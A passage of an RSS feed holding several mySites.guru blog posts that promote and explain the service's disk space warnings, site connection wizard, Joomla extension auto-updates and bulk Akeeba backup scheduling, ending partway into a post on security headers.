&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stored data looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;free&quot;:&quot;1.18 TB&quot;,&quot;total&quot;:&quot;6 TB&quot;,&quot;used&quot;:&quot;4.82 TB&quot;,&quot;percentUsed&quot;:&quot;80.31&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mySites.guru shows a &lt;strong&gt;warning&lt;/strong&gt; when the partition is over 85% full, and a &lt;strong&gt;critical alert&lt;/strong&gt; at 95% or more.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Partition vs. quota&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;This is the physical disk partition your site lives on, shared with every other site on the same server. It is not your hosting account quota. Your quota is a soft software limit - it has nothing to do with how much space is physically left on the drive.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;&quot;But my web host says my quota is fine&quot;&lt;/h2&gt;
&lt;p&gt;People hear this a lot. They contact their host, who tells them their account quota is fine. Then they email me saying mySites.guru is wrong.&lt;/p&gt;
&lt;p&gt;Two different numbers. Your hosting provider reports your &lt;strong&gt;account quota&lt;/strong&gt; - a software limit they set for your account. mySites.guru reports the &lt;strong&gt;physical disk partition&lt;/strong&gt; - the actual hard drive your files sit on, shared with potentially thousands of other sites.&lt;/p&gt;
&lt;p&gt;If the partition hits 100%, your site goes down regardless of what your quota says - and if multiple sites share that server, they&apos;ll all &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;trigger downtime alerts at the same time&lt;/a&gt;. You won&apos;t be able to take backups. MySQL may throw errcode 28 (no free space). And your hosting panel will still happily show your quota at &quot;20% used.&quot;&lt;/p&gt;
&lt;h2&gt;&quot;There&apos;s 1.18 TB free, so I&apos;m fine at 80%&quot;&lt;/h2&gt;
&lt;p&gt;Using the example data above: all the sites on that server have consumed 4.82 TB between them on a 6 TB partition. That&apos;s a lot of sites sharing one drive.&lt;/p&gt;
&lt;p&gt;Say another customer on the same server runs a backup that eats that remaining 1.18 TB. They&apos;re within their own quota, but the physical disk is now full. Your site is offline.&lt;/p&gt;
&lt;p&gt;That&apos;s an extreme scenario, but we&apos;ve seen plenty of hosts running partitions above 95%. We&apos;ve seen servers with as little as 1 GB of free space remaining - on major hosts.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you disable disk space warnings?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather not see these alerts, you can turn them off. Go to &lt;a href=&quot;https://manage.mysites.guru/en/account/notifications/#tab-settings&quot;&gt;Notifications &amp;amp; Preferences&lt;/a&gt;, open the Settings &amp;amp; Preferences tab, and toggle off &quot;Show webhost disk space warnings.&quot;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;&quot;My quota is at 20% but you&apos;re showing 97%&quot;&lt;/h2&gt;
&lt;p&gt;That&apos;s because they&apos;re measuring different things. Your quota is a soft limit set by your host. The 97% is the physical partition your site runs on. Your quota could show plenty of room while the actual drive is nearly full.&lt;/p&gt;
&lt;p&gt;In fact, you might try to upload files well within your quota and fail - because the physical disk filled up first.&lt;/p&gt;
&lt;h2&gt;Why are the percentages so high?&lt;/h2&gt;
&lt;p&gt;Shared hosting providers pack as many sites onto the same hardware as possible. That&apos;s how the economics work. It&apos;s common for mass-market hosts to run partitions at 80-90%+ utilisation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru thresholds: 85% = warning, 95% = critical.&lt;/strong&gt; The severity depends on partition size - 95% on a 20 GB partition leaves almost nothing, while 95% on a 10 TB partition still leaves 500 GB free.&lt;/p&gt;
&lt;h2&gt;What should you do with this information?&lt;/h2&gt;
&lt;p&gt;Like &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;everything else in mySites.guru&lt;/a&gt;, we report what we find and give you the tools to act on it. Use the information, ignore it, or disable the feature entirely. Your call.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Disk space monitoring is part of our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>disk space</category><category>monitoring</category><category>hosting</category><category>snapshot</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/diskspace.BCFhyaC1.webp" length="0" type="image/webp"/></item><item><title>Add unlimited Joomla and WordPress sites to mySites.guru</title><link>https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/</guid><description>Step-by-step guide to connecting your first Joomla or WordPress site to mySites.guru - supports unlimited sites for one flat monthly fee.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;One of the founding principles of mySites.guru is that we offer an &lt;strong&gt;unlimited service&lt;/strong&gt; for &lt;strong&gt;unlimited sites&lt;/strong&gt; in your account at &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;one set price per month (or year)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We haven&apos;t raised prices once since we launched in 2012. Fourteen years later and it&apos;s still the same flat fee - no sneaky annual increases, no &quot;new tier&quot; upsells.&lt;/p&gt;
&lt;p&gt;Once you have &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;created your account&lt;/a&gt; at mySites.guru, you can then add your first site!&lt;/p&gt;
&lt;p&gt;Adding your first site is straightforward - select which platform you want to connect. We support all &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Joomla versions from 1.5 upwards&lt;/a&gt; and WordPress going back a long time.&lt;/p&gt;
&lt;p&gt;*Make a selection of platform to add *&lt;/p&gt;
&lt;p&gt;You will then be presented with the connection wizard.&lt;/p&gt;
&lt;h2&gt;How do you add a Joomla site to mySites.guru?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After clicking the Joomla logo you will see the connection wizard, take a look, read, and then you can proceed to the next page.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On the &quot;Get Plugin&quot; page you are given two different ways to install our plugin into your Joomla Site.&lt;/p&gt;
&lt;p&gt;The most simple is to just copy the url in the green box by pressing the copy button next to it, and paste that into the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Joomla Extension&lt;/a&gt; Installer in your sites admin console.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After clicking check and install and seeing a green success message, return to mySites.guru where you will see a connected screen - and your site will be connected! or you will see this screen:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Dont panic if you see this, it just means your site did not call home to us - we can try to shout at your site and see if our connector is listening, to do this click the &quot;click here&quot; on this screen to provide your domain name&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Add your domain name and attempt the manual connection - fingers crossed the next screen you will see is the manage site page and your site will be connected to mySites.guru&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Error messages? Forbidden? .htaccess Restrictions etc??&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JUST &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ASK FOR HELP&lt;/a&gt; - We investigate all connection issues FOR FREE for you, just use the contact links on our site to &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ask for help&lt;/a&gt;, we will get you connected so you can enjoy mySites.guru&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;How do you connect a WordPress site to mySites.guru?&lt;/h2&gt;
&lt;p&gt;The process for WordPress sites is slightly different. In the wizard you will be prompted to download our plugin zip. &lt;strong&gt;Read the important notes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can then install this WordPress plugin the same way you would upload any WordPress plugin to your site.&lt;/p&gt;
&lt;p&gt;You will then be asked to provide us with your WordPress Site URL ending in a trailing slash&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once you click attempt connection, we will shout over to your WordPress site and see if our connector replies, and then redirect you to the WordPress Manage site page.&lt;/p&gt;
&lt;h2&gt;Can I really connect unlimited sites for one set fee?&lt;/h2&gt;
&lt;p&gt;YES! - Currently the maximum number of sites in a single customer account is &lt;strong&gt;750&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;If you get near 750, let me know, I&apos;ll buy you a cake!&lt;/p&gt;
&lt;p&gt;We have not increased &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;our prices for subscription&lt;/a&gt;s from the GBP19.99 per month since we launched in 2012.&lt;/p&gt;
&lt;h3&gt;Got Questions? Need Help?&lt;/h3&gt;
&lt;p&gt;Im online most of the time - look for the live chat at the bottom right corner of the page or locate the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact&lt;/a&gt;/feedback links.&lt;/p&gt;
&lt;p&gt;**Every Single Page that we publish has a contact means on it and I answer all emails personally within moments if I&apos;m online and within 12 hours normally! **&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>site management</category><category>pricing</category><enclosure url="https://mysites.guru/_astro/4k-images-5-1024x576.DkLek3gp.webp" length="0" type="image/webp"/></item><item><title>Automatic Updates for Any Joomla Extension</title><link>https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/</link><guid isPermaLink="true">https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/</guid><description>Enable automatic updates for any Joomla extension that uses a Joomla update site - set per-site or across all connected sites with two clicks.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Any Joomla extension that has an update site (meaning it implements the Joomla Updates API) can be set to automatically update when a new version is available. WordPress has had this for years, and now mySites.guru brings the same capability to Joomla - particularly useful when you&apos;re &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; and need consistent extension versions across every one of them.&lt;/p&gt;
&lt;p&gt;Note: this covers &lt;em&gt;extension&lt;/em&gt; auto-updates, which you control per-extension through mySites.guru. Joomla 5.4+ also introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated &lt;em&gt;core&lt;/em&gt; updates&lt;/a&gt; - a separate feature managed by Joomla.org infrastructure that patches the CMS itself without admin intervention. If you manage client sites, you probably want to disable core auto-updates while selectively enabling extension auto-updates here.&lt;/p&gt;
&lt;h2&gt;Background on Joomla extension auto-updates&lt;/h2&gt;
&lt;p&gt;mySites.guru has been running automatic updates for years. The system has automatically upgraded over 3 million &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot;&gt;JCE Editor&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Admin Tools&lt;/a&gt;, and &lt;a href=&quot;https://regularlabs.com/&quot;&gt;RegularLabs&lt;/a&gt; extensions across connected sites.&lt;/p&gt;
&lt;p&gt;Originally, auto-updates were limited to a handful of trusted extension developers. The quality of some Joomla extensions at the time made it risky to auto-update everything. Since then, the ecosystem has matured, and customers told us they wanted to select their own extensions for auto-update, including custom extensions they&apos;d built themselves.&lt;/p&gt;
&lt;p&gt;So now you can select &lt;strong&gt;any update site stream&lt;/strong&gt; and mark it for automatic updates.&lt;/p&gt;
&lt;h2&gt;How do Joomla extension auto-updates work?&lt;/h2&gt;
&lt;p&gt;On the Updates tab of any Manage Site page, you&apos;ll see every update site stream reported by your Joomla site:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This data comes from the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot of your site&lt;/a&gt;. You can see the exact URL each extension developer provides for updates, which also lets you verify the authenticity of your update sites. Very few Joomla site owners actually check this.&lt;/p&gt;
&lt;p&gt;Any stream marked &lt;strong&gt;Auto Update Enabled&lt;/strong&gt; gets checked once a day. If an update is available for an installed extension, mySites.guru tells your Joomla site to apply it. You&apos;ll get an email notification for both successful and failed updates.&lt;/p&gt;
&lt;h2&gt;How do you enable Joomla auto-updates across all sites at once?&lt;/h2&gt;
&lt;p&gt;The split button lets you enable an update site stream across every connected site in your account. Want Akeeba Backup to auto-update on all your sites? Two clicks. The same cross-site approach applies to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - plugin auto-updates work identically across your WordPress portfolio.&lt;/p&gt;
&lt;p&gt;This also works for Joomla&apos;s own components - Accredited Translations, Joomla WebLinks, and the Joomla Update Component can all be kept current automatically.&lt;/p&gt;
&lt;h2&gt;How do you verify Joomla update site authenticity?&lt;/h2&gt;
&lt;p&gt;One thing most Joomla site owners never do is check where their update sites actually point. Every extension registers a URL that Joomla calls when checking for updates. If that URL has been tampered with, or if a dodgy extension is phoning home to somewhere unexpected, you&apos;d never know without looking.&lt;/p&gt;
&lt;p&gt;The Updates tab in mySites.guru shows you the exact URL for each update stream. If something doesn&apos;t look right (an unfamiliar domain, HTTP instead of HTTPS, a URL that doesn&apos;t match the developer&apos;s known infrastructure), that&apos;s worth investigating before you enable auto-updates for it.&lt;/p&gt;
&lt;h2&gt;When should you use Joomla auto-updates vs manual updates?&lt;/h2&gt;
&lt;p&gt;Auto-updates work best for extensions where you trust the developer and where updates are typically non-breaking: security tools like Akeeba Backup and Admin Tools, content editors like JCE, and utility extensions like RegularLabs.&lt;/p&gt;
&lt;p&gt;For extensions that are tightly integrated with your site&apos;s functionality (page builders, complex e-commerce components, or anything that modifies database schema on update), you might prefer to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;apply updates manually&lt;/a&gt; so you can test first. Nothing stops you from mixing both approaches: auto-update the low-risk stuff and manually handle the rest.&lt;/p&gt;
&lt;p&gt;Note that extension auto-updates through mySites.guru are separate from Joomla&apos;s built-in &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades&lt;/a&gt; introduced in Joomla 5.4. The core auto-update feature only touches Joomla itself, not third-party extensions. If you want both core and extension updates managed through a controlled workflow, disable core auto-updates and use mySites.guru for both.&lt;/p&gt;
&lt;h2&gt;Can you auto-update your own custom Joomla extensions?&lt;/h2&gt;
&lt;p&gt;If you&apos;ve built custom extensions for your clients, you can auto-update those too, as long as they implement a standard Joomla update site. This is common for agencies that maintain a branded plugin across dozens of client sites.&lt;/p&gt;
&lt;p&gt;Push a new version to your update server, and mySites.guru rolls it out to every site that has auto-updates enabled for that stream. No need to use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; for routine version bumps.&lt;/p&gt;
&lt;h2&gt;What happens when an auto-update fails?&lt;/h2&gt;
&lt;p&gt;mySites.guru sends you an email immediately. The notification tells you which site, which extension, and what went wrong. Common failure reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site was offline or unreachable when the update was attempted&lt;/li&gt;
&lt;li&gt;PHP memory or execution time limits were too low for the update package&lt;/li&gt;
&lt;li&gt;File permission issues prevented writing to the extension directory&lt;/li&gt;
&lt;li&gt;The update server itself was temporarily unavailable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Failed updates don&apos;t affect other sites or other extensions. Each is processed independently. Fix the underlying issue and either wait for the next daily check or trigger a manual update.&lt;/p&gt;
&lt;h2&gt;What if I don&apos;t want auto-updates?&lt;/h2&gt;
&lt;p&gt;Nothing is enabled by default. You have to make a conscious decision to opt in for each extension stream. If you prefer to review and apply updates manually, that&apos;s fine too.&lt;/p&gt;
&lt;h2&gt;Safety net: backups and uptime monitoring&lt;/h2&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;schedule daily backups&lt;/a&gt; in your mySites.guru account using Akeeba Backup (free or professional version). If an auto-update causes problems, you&apos;ve got a restore point from before the update ran.&lt;/p&gt;
&lt;p&gt;mySites.guru notifies you immediately when an update succeeds or fails. The notification email includes a link to the developer&apos;s release notes so you can check what changed.&lt;/p&gt;
&lt;p&gt;You can also set up &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; that checks your site every 5 minutes around the clock. If a site goes offline after an update, you&apos;ll know within minutes - not when a client calls.&lt;/p&gt;
&lt;h2&gt;Force-pushing a specific extension version with the mass installer&lt;/h2&gt;
&lt;p&gt;Sometimes auto-updates and the standard upgrade path aren&apos;t what you need. Maybe an extension&apos;s update server is down, or you want to roll back to a specific version, or you&apos;ve got a patched zip that fixes a problem the developer hasn&apos;t released yet.&lt;/p&gt;
&lt;p&gt;In those cases, the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; lets you upload a zip file (or paste a URL to one) and push it to as many sites as you want. The installer overwrites whatever version is currently installed - so you can use it to upgrade, downgrade, or replace an extension entirely.&lt;/p&gt;
&lt;p&gt;This is also useful for extensions that don&apos;t have an update site at all. Some older Joomla extensions or niche commercial plugins never implemented the Joomla Updates API, so auto-updates aren&apos;t an option. The mass installer sidesteps that completely. If you&apos;ve got the zip, you can deploy it.&lt;/p&gt;
&lt;h2&gt;Combining auto-updates with vulnerability alerts&lt;/h2&gt;
&lt;p&gt;mySites.guru also cross-references your installed plugin versions against &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;known vulnerability databases&lt;/a&gt;. If an extension you haven&apos;t opted into auto-updates gets flagged as vulnerable, you&apos;ll see it on your dashboard. That&apos;s often a good prompt to either enable auto-updates for it going forward or push a manual update immediately. When critical vulnerabilities like the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework exploit (CVE-2026-21627)&lt;/a&gt; drop, sites with automatic updates enabled are patched before the public exploit hits GitHub.&lt;/p&gt;
&lt;p&gt;Auto-update the extensions you trust, and let vulnerability alerting watch everything else.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; to connect your first Joomla site and try automatic extension updates.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Learn more about update strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>scheduling</category><enclosure url="https://mysites.guru/_astro/1.Cs59tFXf.webp" length="0" type="image/webp"/></item><item><title>Backup 1000s of Sites from One Dashboard</title><link>https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/</guid><description>Schedule and manage Akeeba Backup across thousands of Joomla and WordPress sites from a single mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;mySites.guru&lt;/a&gt; you can set and forget your backup &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule&lt;/a&gt; and let it handle running your backups and notifying you if there&apos;s a problem.&lt;/p&gt;
&lt;h2&gt;What makes a backup worth having?&lt;/h2&gt;
&lt;p&gt;There is only one kind of backup worth having: one that actually restores.&lt;/p&gt;
&lt;p&gt;mySites.guru uses &lt;a href=&quot;https://www.akeeba.com&quot;&gt;Akeeba Backup&lt;/a&gt; under the hood, the &lt;a href=&quot;https://www.akeeba.com&quot;&gt;best backup solution&lt;/a&gt; available for Joomla and WordPress, inside a &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;centralised dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Akeeba has been &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;around since 2006&lt;/a&gt;. Millions of downloads, &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;high praise in the Joomla Extensions Directory&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/our-team.html&quot;&gt;three J.O.S.C.A.R. awards&lt;/a&gt;. One goal: backup, restore and transfer your site in a snap. It supports WordPress too.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru backup scheduler work?&lt;/h2&gt;
&lt;p&gt;Scheduling backups across many sites has always been the annoying part of managing Akeeba. mySites.guru handles that as a &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;centralised scheduler&lt;/a&gt; for all your connected sites.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;thousands of Joomla and WordPress sites in your dashboard&lt;/a&gt;, managing their Akeeba connections from one place just makes sense.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Connecting Akeeba to mySites.guru takes a single click. From there, pick the backup profile to run and set a schedule: daily, weekly, or monthly.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;backup overview dashboard&lt;/a&gt; shows each site&apos;s last backup date and status at a glance.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can disable schedules, adjust them, or start backups across all your sites with one click.&lt;/p&gt;
&lt;h2&gt;How do you backup 1000 sites with one click?&lt;/h2&gt;
&lt;p&gt;mySites.guru queues all the sites and processes the backups as fast as your servers can handle.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where are your backups stored?&lt;/h2&gt;
&lt;p&gt;Wherever you tell Akeeba to store them.&lt;/p&gt;
&lt;p&gt;With &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup&lt;/a&gt; profiles, you set the destination: Amazon S3, Dropbox, Azure, BackBlaze, Box.com, Rackspace, FTP, or your own server (though we don&apos;t recommend keeping them only on the server).&lt;/p&gt;
&lt;h2&gt;Are backups stored in mySites.guru?&lt;/h2&gt;
&lt;p&gt;No. Never. mySites.guru triggers and monitors your backups, but the files themselves live wherever you tell Akeeba to put them.&lt;/p&gt;
&lt;h2&gt;How do backup notifications work?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduler&lt;/a&gt; notifies you based on your preferences: when a backup starts, when it finishes, and always when something goes wrong.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;WordPress users: All-In-One Migration Plugin support&lt;/h3&gt;
&lt;p&gt;WordPress users aren&apos;t limited to Akeeba. You can also use the All-In-One Migration Plugin for your backups. The same scheduling interface and &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; are available in mySites.guru for that plugin too.&lt;/p&gt;
&lt;p&gt;For guidance on fitting backups into a broader update and maintenance workflow, see the &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free trial&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; to see how mySites.guru handles backups across all your sites.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>akeeba</category><category>joomla</category><category>wordpress</category><category>scheduling</category><enclosure url="https://mysites.guru/_astro/backup-1024x538.BZMK1m1C.webp" length="0" type="image/webp"/></item><item><title>Backup All Your Sites With One Click</title><link>https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/</guid><description>The one-click Backup All Sites button is back in mySites.guru, now with a per-site default backup profile to power the bulk backup queue.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;**Ok, I screwed up. I admit it and Im sorry. ** We recently introduced &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Unlimited Backup Schedules per site&lt;/a&gt; and in doing so introduced a logic bug that caused us to remove the &quot;Backup All Sites&quot; in one go feature.&lt;/p&gt;
&lt;p&gt;Lets talk about that - tl;dr; &lt;strong&gt;The Backup All Sites button has returned!!!&lt;/strong&gt; :-)&lt;/p&gt;
&lt;p&gt;One of the things we do well is respond fast - to emerging hack threats, security incidents, and requests from customers. We can deploy new features the same day, sometimes multiple times a day, with zero downtime.&lt;/p&gt;
&lt;p&gt;**This is one of those times. **&lt;/p&gt;
&lt;h2&gt;What caused the problem?&lt;/h2&gt;
&lt;p&gt;On implementing Unlimited Backup Schedules per site, we introduced a logic bug. This is caused because before that change, we stored a single Backup Profile per site.&lt;/p&gt;
&lt;p&gt;This meant that when you clicked the &quot;Backup all sites&quot; we knew which of the unlimited backup profiles to run on each site.&lt;/p&gt;
&lt;p&gt;When we introduced multiple schedules, you were then able to select a different backup profile per schedule, we no longer had a default profile per site, only a profile per schedule.&lt;/p&gt;
&lt;p&gt;This meant that we could not provide a &quot;backup all sites&quot; feature, as we did not know which profile to run for each site!&lt;/p&gt;
&lt;h2&gt;What was the solution?&lt;/h2&gt;
&lt;p&gt;The solution was pretty simple really, we reverted some code to allow us to re-implement the &quot;Backup All&quot; button on the Schedules tab of the &quot;Scheduled Backups&quot; page&lt;/p&gt;
&lt;p&gt;We then added new features to allow you to select a default backup profile per site. You can do this on the schedules page, or on the Settings Tab of Manage Site page.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can still filter your sites before pressing the new &lt;strong&gt;&quot;Start Backup Of All Sites Visible Below&quot;&lt;/strong&gt; button.&lt;/p&gt;
&lt;p&gt;Once you click the button you get a chance to back out ;-)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;one click of that blue button and we usher your request into our backup queue and process the backups as fast as we can - we will redirect you to see a list of your running backups where you can sit and watch them, or you can close your browser/browser elsewhere because the backups will continue regardless of your actions.&lt;/p&gt;
&lt;p&gt;Thanks to all those that told us how valuable this feature was, and tested the new implementation. We ♥️ you!&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>joomla</category><category>wordpress</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-16-1024x538.CWg4GFu4.webp" length="0" type="image/webp"/></item><item><title>Check your site&apos;s security headers</title><link>https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/</guid><description>mySites.guru checks eight HTTP security headers on every snapshot - CSP, HSTS, X-Frame-Options and more - to help you harden against XSS and clickjacking.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your web server can send a handful of HTTP response headers that make life harder for attackers. Spoofing, XSS, clickjacking: these headers won&apos;t stop everything, but they raise the bar. mySites.guru checks eight of them on every &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, twice a 